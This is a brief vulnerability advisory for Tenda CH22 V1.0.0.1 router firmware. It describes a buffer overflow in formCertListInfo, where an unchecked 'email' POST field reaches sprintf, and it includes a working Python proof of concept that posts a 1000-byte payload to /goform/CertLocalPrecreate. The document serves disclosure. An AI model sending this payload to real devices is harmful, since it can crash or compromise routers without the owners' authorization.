tiêu đềTenda CH22 V1.0.0.1 Buffer Overflow
Mô tả## Vulnerability details The Tenda CH22 V1.0.0.1 firmware has a buffer overflow vulnerability in the `formCertListInfo` function. The`V10` variable receives the `email` parameter from a POST request and is later passed to the `sprintf` function. However, since the user can control the input of `email`, the statement `sprintf(s, "CN = %s/emailAddress=%s\n", v11, v10);` can cause a buffer overflow. ## PoC import requests ip = "192.168.1.1" url = f'http://{ip}/goform/CertLocalPrecreate' payload = b'a' * 1000 data = {    'email':payload } requests.post(url, data=data)
